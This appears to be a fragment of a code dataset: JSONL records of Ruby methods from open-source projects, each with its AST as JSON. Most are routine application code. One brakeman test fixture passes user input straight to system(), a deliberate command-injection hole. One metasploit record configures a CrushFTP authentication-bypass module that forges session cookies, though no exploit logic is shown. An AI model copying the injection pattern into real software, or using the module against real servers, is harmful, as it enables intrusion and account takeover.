\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"inspect\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_connection_pool\"]},\"internal_metadata\"]},\"create_table_and_set_flags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"env_name\"]},{\"type\":\"send\",\"children\":[null,\"schema_sha1\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"verbose=\",{\"type\":\"lvar\",\"children\":[\"verbose_was\"]}]}]}]}","id":"982fe468-d740-4cc4-87c0-c0c9ae2e16fe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/event_tester.rb","start_line":33,"raw_source":"def cleanup\n      framework.events.remove_custom_subscriber(@subscriber)\n      framework.events.remove_db_subscriber(@subscriber)\n      framework.events.remove_exploit_subscriber(@subscriber)\n      framework.events.remove_general_subscriber(@subscriber)\n      framework.events.remove_session_subscriber(@subscriber)\n      framework.events.remove_ui_subscriber(@subscriber)\n    end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"remove_custom_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"remove_db_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"remove_exploit_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"remove_general_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"remove_session_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"remove_ui_subscriber\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]}]}]}","id":"98a6f3d8-839b-4bad-9f29-440907d51471"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3.2/app/models/user/command_dependency.rb","start_line":2,"raw_source":"def inner_exec\n    system params[:user_input]\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inner_exec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_input\"]}]}]}]}","id":"f9aa4c86-2a67-4ae1-97b6-7a48585b7ba4"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/version_filter_dependency_representer.rb","start_line":39,"raw_source":"def href_callback\n            query_params = \"sortBy=#{to_query [%i(name asc)]}&pageSize=-1\"\n\n            if filter.project.nil?\n              \"#{api_v3_paths.versions}?#{query_params}\"\n            else\n              \"#{api_v3_paths.versions_by_project(filter.project.id)}?#{query_params}\"\n            end\n          end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"href_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query_params\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sortBy=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_query\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"&pageSize=-1\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"project\"]},\"nil?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"versions\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"versions_by_project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"project\"]},\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}]}]}]}","id":"e418574f-8e73-4688-acd7-b9bbfe279b95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/namespaces/deletable_helper.rb","start_line":135,"raw_source":"def confirm_remove_group_message(group, permanently_remove)\n      return _permanently_delete_group_message(group) if permanently_remove || group.self_deletion_scheduled?\n\n      safe_format(\n        _(\"The contents of this group, its subgroups and projects will be permanently deleted after \" \\\n          \"%{deletion_adjourned_period} days on %{date}. After this point, your data cannot be recovered.\"),\n        deletion_adjourned_period: group.deletion_adjourned_period,\n        date: tag.strong(permanent_deletion_date_formatted)\n      )\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_remove_group_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"permanently_remove\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permanently_remove\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"self_deletion_scheduled?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_permanently_delete_group_message\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The contents of this group, its subgroups and projects will be permanently deleted after \"]},{\"type\":\"str\",\"children\":[\"%{deletion_adjourned_period} days on %{date}. After this point, your data cannot be recovered.\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deletion_adjourned_period\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"deletion_adjourned_period\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"strong\",{\"type\":\"send\",\"children\":[null,\"permanent_deletion_date_formatted\"]}]}]}]}]}]}]}","id":"a8b47a81-f380-4361-b608-24a4e6cf04b7"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/sharing/share_modal.rb","start_line":382,"raw_source":"def expect_upsell_banner\n        within_modal do\n          expect(page)\n            .to have_text(I18n.t(:\"ee.upsell.work_package_sharing.description\"))\n        end\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_upsell_banner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_modal\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"ee.upsell.work_package_sharing.description\"]}]}]}]}]}]}","id":"8251b210-47d9-48b9-b368-27ba0ad66288"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/base_message_text.rb","start_line":46,"raw_source":"def contacts_first_message?(ig_scope_id)\n    @contact_inbox = @inbox.contact_inboxes.where(source_id: ig_scope_id).last\n    @contact_inbox.blank? && @inbox.channel.instagram_id.present?\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"contacts_first_message?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ig_scope_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"contact_inboxes\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"lvar\",\"children\":[\"ig_scope_id\"]}]}]}]},\"last\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"channel\"]},\"instagram_id\"]},\"present?\"]}]}]}]}","id":"c3ce0e02-e080-44ea-b57f-5f14e8a9c7d7"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/build_ios_app.rb","start_line":29,"raw_source":"def self.available_options\n        require 'gym'\n        require 'gym/options'\n\n        Gym::Options.available_options.reject do |option|\n          REJECT_OPTIONS.include?(option.key)\n        end\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"gym\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"gym/options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Options\"]},\"available_options\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REJECT_OPTIONS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"key\"]}]}]}]}]}","id":"f8e81fb6-d92d-4885-9114-20cc4e31de86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240416144500_rename_container_protection_rules_protected_access_level_to_minimum_access_level.rb","start_line":10,"raw_source":"def up\n    rename_column_concurrently TABLE, :push_protected_up_to_access_level, :minimum_access_level_for_push\n    rename_column_concurrently TABLE, :delete_protected_up_to_access_level, :minimum_access_level_for_delete\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column_concurrently\",{\"type\":\"const\",\"children\":[null,\"TABLE\"]},{\"type\":\"sym\",\"children\":[\"push_protected_up_to_access_level\"]},{\"type\":\"sym\",\"children\":[\"minimum_access_level_for_push\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_column_concurrently\",{\"type\":\"const\",\"children\":[null,\"TABLE\"]},{\"type\":\"sym\",\"children\":[\"delete_protected_up_to_access_level\"]},{\"type\":\"sym\",\"children\":[\"minimum_access_level_for_delete\"]}]}]}]}","id":"c7574da2-0c5d-442c-98b1-625200810cfd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/message/repository_push.rb","start_line":43,"raw_source":"def diffs\n          return unless compare\n\n          # This diff is more moderated in number of files and lines\n          @diffs ||= compare.diffs(max_files: 30, max_lines: 5000, expanded: true).diff_files\n        end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"diffs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diffs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},\"diffs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_files\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_lines\"]},{\"type\":\"int\",\"children\":[5000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expanded\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"diff_files\"]}]}]}]}","id":"276ed2ac-5bd1-42d6-a859-f4fd5c46fcf3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CrushFTP AWS4-HMAC Authentication Bypass',\n        'Description' => %q{\n          This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers\n          with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API\n          to authenticate as that user without valid credentials. When successfully executed, the exploit will\n          output working session cookies for the target user account.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Outpost24', # Initial Discovery\n          'remmons-r7' # MSF Module & Rapid7 Analysis\n        ],\n        'References' => [\n          ['CVE', '2025-2825'],\n          ['URL', 'https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis']\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          # The CrushFTP.log file will contain a log of the HTTP requests\n          # Similarly, files in logs/session_logs/ will contain a log of the HTTP requests\n          # The sessions.obj file will temporarily persist details of recent requests\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8080),\n        OptString.new('TARGETUSER', [true, 'The target account to forge a session cookie for', 'crushadmin']),\n        OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/'])\n      ]\n    )\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"CrushFTP AWS4-HMAC Authentication Bypass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers\\n\"]},{\"type\":\"str\",\"children\":[\"          with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API\\n\"]},{\"type\":\"str\",\"children\":[\"          to authenticate as that user without valid credentials. When successfully executed, the exploit will\\n\"]},{\"type\":\"str\",\"children\":[\"          output working session cookies for the target user account.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Outpost24\"]},{\"type\":\"str\",\"children\":[\"remmons-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-2825\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETUSER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target account to forge a session cookie for\"]},{\"type\":\"str\",\"children\":[\"crushadmin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path to CrushFTP\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"1296ad49-94de-4b80-8d75-06860ce6175c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_note_service.rb","start_line":383,"raw_source":"def new_alert_issue(alert, issue, author)\n    ::SystemNotes::AlertManagementService.new(noteable: alert, container: alert.project, author: author).new_alert_issue(issue)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new_alert_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert\"]},{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"arg\",\"children\":[\"author\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SystemNotes\"]},\"AlertManagementService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"alert\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"lvar\",\"children\":[\"author\"]}]}]}]},\"new_alert_issue\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]}","id":"b53b0ea7-ef36-4e4c-a0ec-d0f7c9dd8c60"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_http.rb","start_line":888,"raw_source":"def test_cors_allowed_exclude_empty_string\n    d = create_driver(config + 'cors_allow_origins [\"\", \"http://*.foo.com\"]')\n\n    time = event_time(\"2011-01-02 13:14:15 UTC\")\n    events = [\n      [\"tag1\", time, {\"a\"=>1}],\n    ]\n\n    d.run do\n      events.each do |tag, time, record|\n        headers = {\"Origin\" => \"http://subdomain.foo.com\"}\n\n        res = post(\"/#{tag}\", {\"json\" => record.to_json, \"time\" => time.to_i}, headers)\n\n        assert_equal \"200\", res.code\n        assert_equal \"http://subdomain.foo.com\", res[\"Access-Control-Allow-Origin\"]\n      end\n    end\n  end","complexity_score":24.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cors_allowed_exclude_empty_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"+\",{\"type\":\"str\",\"children\":[\"cors_allow_origins [\\\"\\\", \\\"http://*.foo.com\\\"]\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"2011-01-02 13:14:15 UTC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag1\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Origin\"]},{\"type\":\"str\",\"children\":[\"http://subdomain.foo.com\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]}]}]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"200\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://subdomain.foo.com\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Access-Control-Allow-Origin\"]}]}]}]}]}]}]}]}","id":"b94f442e-2995-4870-bccd-a557cac652c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/anonymous_session.rb","start_line":9,"raw_source":"def count_session_ip\n      Gitlab::Redis::Sessions.with do |redis|\n        redis.pipelined do |pipeline|\n          pipeline.incr(session_lookup_name)\n          pipeline.expire(session_lookup_name, 24.hours)\n        end\n      end\n    end","complexity_score":11.73,"ast_json":"{\"type\":\"def\",\"children\":[\"count_session_ip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Sessions\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"pipelined\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"incr\",{\"type\":\"send\",\"children\":[null,\"session_lookup_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"expire\",{\"type\":\"send\",\"children\":[null,\"session_lookup_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]}]}]}]}]}","id":"1589fa11-60e8-43be-bf2a-6a207c9bb0dc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_trend.rb","start_line":25,"raw_source":"def self.vms_by_category(options)\n    model, interval = options[:interval_name] == \"hourly\" ? [MetricRollup, 1.hour] : [VimPerformanceDaily, 1.day]\n    rows = model.where(:timestamp             => options[:timestamp],\n                       :capture_interval_name => options[:interval_name],\n                       :resource_type         => \"VmOrTemplate\")\n                .for_tag_names(options[:group_by_category], options[:group_by_tag])\n    [build(rows.to_a, options), interval]\n  end","complexity_score":19.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"vms_by_category\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\"]},{\"type\":\"lvasgn\",\"children\":[\"interval\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval_name\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"hourly\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MetricRollup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VimPerformanceDaily\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"capture_interval_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"VmOrTemplate\"]}]}]}]},\"for_tag_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_by_category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_by_tag\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"to_a\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]}]}]}","id":"98e22436-f402-49bb-ba8a-b080e836b808"}
